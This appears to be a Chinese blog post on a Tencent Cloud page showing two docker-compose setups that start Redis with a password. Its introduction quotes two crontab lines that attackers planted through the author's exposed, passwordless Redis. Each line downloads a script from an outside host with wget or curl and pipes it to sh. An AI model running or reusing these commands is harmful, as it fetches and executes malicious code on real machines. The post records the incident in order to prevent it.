前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >使用 docker-compose 在 Docker 中启动带密码的 Redis

使用 docker-compose 在 Docker 中启动带密码的 Redis

作者头像
木制robot
发布2018-10-09 16:06:47
22.8K2
发布2018-10-09 16:06:47
举报

前言

在服务器上使用 docker-compose 启动一个 Docker 中的 Redis 时,配置文件没有生效,Redis 没有加密码,导致 redis 中被写入两条记录:

代码语言:javascript
复制
*/3 * * * * wget -q -O- http://chrome.zer0day.ru:5050/mrx1 | sh
*/1 * * * * curl -fsSL http://chrome.zer0day.ru:5050/mrx1 | sh

还好及时发现,在此记录一下解决过程。

解决过程

方案一

docker-compose.yml 文件中写入下列内容:

代码语言:javascript
复制
redis:
  image: redis
  container_name: my_redis
  command: redis-server /usr/local/etc/redis/redis.conf
  ports:
    - "6379:6379"
  volumes:
    - ./data:/data
    - ./redis.conf:/usr/local/etc/redis/redis.conf

其中:

  1. image 代表镜像名称;
  2. container_name 代表生成的容器名称;
  3. command 代表生成容器后要执行的命令;
  4. ports 将容器内的端口映射到容器外;
  5. volumes 代表共享目录或文件,冒号前为宿主机目录,冒号后为容器内目录。举例:- ./data:/data 意为将当前目录共享到容器内的 /data 目录,相当于做了一个软连接。

注:共享目录或文件时如果宿主机或容器内不存在 docker 会自动帮你创建。 Redis 的密码需要自己在与容器共享的配置 redis.conf 中加入,即更改配置中 requirepass 为:

代码语言:javascript
复制
requirepass yourpassword

docker-compose.yml 所在目录下执行 docker-compose up -d,即可在 Docker 中生成一个带密码的 Redis 容器。

方案二

同样在 docker-compose.yml 中写入下列内容:

代码语言:javascript
复制
redis:
  image: redis
  container_name: my_redis
  command: redis-server --requirepass yourpassword
  ports:
    - "6379:6379"
  volumes:
    - ./data:/data

然后直接在其所在目录下执行 docker-compose up -d,即可在 Docker 中生成一个带密码的 Redis 容器。

总结

方案一的好处是可以更多的定制 Redis 的配置,方案二的好处是可以快速启动一个带免密的 Docker Redis 实例而不需要依赖外部的 redis.conf。

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2018-09-03,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前言
  • 解决过程
    • 方案一
      • 方案二
      • 总结
      相关产品与服务
      容器镜像服务
      容器镜像服务(Tencent Container Registry,TCR)为您提供安全独享、高性能的容器镜像托管分发服务。您可同时在全球多个地域创建独享实例,以实现容器镜像的就近拉取,降低拉取时间,节约带宽成本。TCR 提供细颗粒度的权限管理及访问控制,保障您的数据安全。
      领券
      问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档